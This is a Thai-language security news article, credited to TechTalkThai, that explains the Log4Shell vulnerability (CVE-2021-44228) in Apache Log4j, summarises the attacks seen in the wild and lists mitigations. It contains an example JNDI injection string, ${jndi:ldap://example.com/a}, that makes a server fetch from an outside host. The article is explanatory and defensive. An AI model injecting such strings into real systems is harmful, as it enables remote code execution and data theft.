ถือเป็นอีกหนึ่งช่องโหว่ระดับร้ายแรงที่มีผลกระทบอย่างกว้างขวางไม่น้อยกว่า Heartbleed หรือ ShellShock เมื่อหลายปีก่อน สำหรับช่องโหว่ CVE-2021-44228 บนแพ็กเกจสำหรับทำเรื่องเก็บ Log ที่นิยมใช้กันในภาษา JAVA ที่สามารถใช้ทำ Remote Code Execution ได้
รู้จักกับ Log4j
อย่างที่กล่าวไปแล้วว่า Log4j คือแพ็กเก็จด้านการทำ Logging ภาษา Java โดยต้นตอของปัญหาเริ่มต้นจากการที่เวอร์ชัน 2.0-beta9 (LOG4J2-313) มีการเพิ่มเข้ามาของ ‘JNDILookup Plugin’ ซึ่ง JNDI ย่อมาจาก Java Naming and Directory Interface ทั้งนี้ JNDI มีการใช้งานมาตั้งแต่ปี 1990 แล้ว ที่เป็น Directory Service ให้โปรแกรม Java สามารถค้นหาข้อมูลผ่านทางระบบ Directory ได้
(อ่านเรื่องของ Directory Service ได้ที่ https://en.wikipedia.org/wiki/Directory_service) นอกจากนี้ JNDI ยังมีการเปิด SPI (Service Provider Interface มองว่าเป็น API ก็ได้) ให้ทำงานกับ Directory Service อื่นได้เช่น CORBA COS, LDAP, RMI (remote method interface) และ DNS เป็นต้น
ตัวอย่าง URL ของการใช้งาน JNDI กับ LDAP เช่น ‘ldap://localhost:389/o=JNDITutorial’ หมายถึงการไปมองหา Object ที่ชื่อ ‘JNDITutorial’ จากเซิร์ฟเวอร์ LDAP ที่รันอยู่บนเครื่องและเปิดพอร์ต 389 แต่เช่นกันผู้ใช้งานสามารถรัน LDAP เซิร์ฟเวอร์ที่อยู่บนเครื่องอื่นหรือพอร์ตอื่นก็ได้ นี่คือจุดหนึ่งที่คนร้ายสามารถใช้ประโยชน์จากความสามารถตรงนี้ได้
ไม่เพียงเท่านั้น Log4j ยังมีความสามารถที่ทำให้การใช้คำสั่งนั้นซับซ้อนได้อีก ในความสามารถของ Special Syntax มีรูปแบบคือ ${prefix:name} ตัวอย่างเช่น ${java:version} ซึ่งใน 2.0-beta9 ได้มีการเพิ่มความสามารถให้ JndiLookup พร้อมกับการใช้ “:” ที่หมายถึงการไม่นับ Prefix กล่าวคือเปิดโอกาสให้สามารถประดิษฐ์คำสั่งที่ซับซ้อนได้มากขึ้นอีก
เช่น ${jndi:ldap://example.com/a} โดยการ Lookup สามารถมองหาข้อมูลได้จากทั้งส่วนคอนฟิคและ Log ที่ถูกบันทึก ด้วยเหตุนี้เองหากเพียงแฮ็กเกอร์ทราบว่ามีค่าอะไรที่น่าจะถูกเก็บ Log เอาไว้เช่น User-Agent หรือพารามิเตอร์เช่น Username ก็สามารถประดิษฐ์การโจมตีขึ้นมาได้นั่นเอง
รูปแบบของการโจมตี
Apache Log4j ถูกใช้กันในผู้พัฒนาเว็ปและเซิร์ฟเวอร์ที่ใช้ภาษา Java หรือเป็นส่วนหนึ่งของระบบการทำงานใหญ่ โดยในบล็อกของ Sophos ชี้ว่าตนพบการโจมตีเพื่อจุดประสงค์ทางการลอบรันโค้ด ค้นหา Log เพื่อสแกนทดสอบหาเหยื่อหรือติดตั้งตัวขุดเหมือง แม้กระทั่งการใช้เพื่อขโมยข้อมูล AWS Key หรือข้อมูลส่วนตัวอื่นๆ ภาพประกอบของการโจมตีเป็นไปตามด้านล่าง
นอกจากนี้ยังมีเครื่องมือ Interactsh ที่ช่วยให้ผู้โจมตีสามารถประดิษฐ์ Request ในรูปแบบต่างๆได้อย่างมีประสิทธิภาพ ตามภาพประกอบด้านล่าง
ในมุมของ Cloudflare เองได้เผยถึงการโจมตีที่ไม่ได้จำกัดเฉพาะกับแอปพลิเคชันที่เข้าถึงได้จากอินเทอร์เน็ต แต่มีผลกับส่วนประกอบย่อยภายในที่มีการใช้ Log4j ซึ่งอาจมีการประมวลผลคำสั่งมาจากระบบหน้าด่านอื่น(ตามภาพประกอบ) และด้วยความเกี่ยวข้องอันซับซ้อนนี้ รวมถึงความยอดนิยมของ Log4j เองจึงกล่าวได้ว่าช่องโหว่นี้มองข้ามไม่ได้และต้องมีการวิเคราะห์องค์กรหรือการทำงานหลายส่วน
วิธีการป้องกันสำหรับผู้ใช้งาน Log4j 2.0 เวอร์ชันbeta9 – 2.14.1
1.) แพตช์ด้วย Log4j 2.15.0
2.) ตั้งค่า Property เป็น log4j2.formatMsgNoLookups=true รวมถึง Environment variable เป็น LOG4J_FORMAT_MSG_NO_LOOKUPS=true
3.) ลบ Class ของ JndiLookup ด้วยคำสั่ง zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
อย่างไรก็ดี Vendor ต่างๆที่เกี่ยวข้องกับช่องโหว่ได้รับทราบและตื่นตัวแล้ว พร้อมทั้งประกาศเพิ่มความสามารถให้ผลิตภัณฑ์รู้จักกับรูปแบบของคำสั่งโจมตีแล้ว อย่างไรก็ดีถ้าทำได้กรุณาแพตช์ให้เร็วที่สุดครับด้วยความหวังดี
ที่มา : https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ และ https://news.sophos.com/en-us/2021/12/12/log4shell-hell-anatomy-of-an-exploit-outbreak/ และ https://www.bleepingcomputer.com/news/security/researchers-release-vaccine-for-critical-log4shell-vulnerability/
———————————————————————————————————————————————————
ที่มา : TechTalkThai / วันที่เผยแพร่ 14 ธ.ค.2564
Link : https://www.techtalkthai.com/warning-cve-2021-44228-of-apache-log4j-logging-package/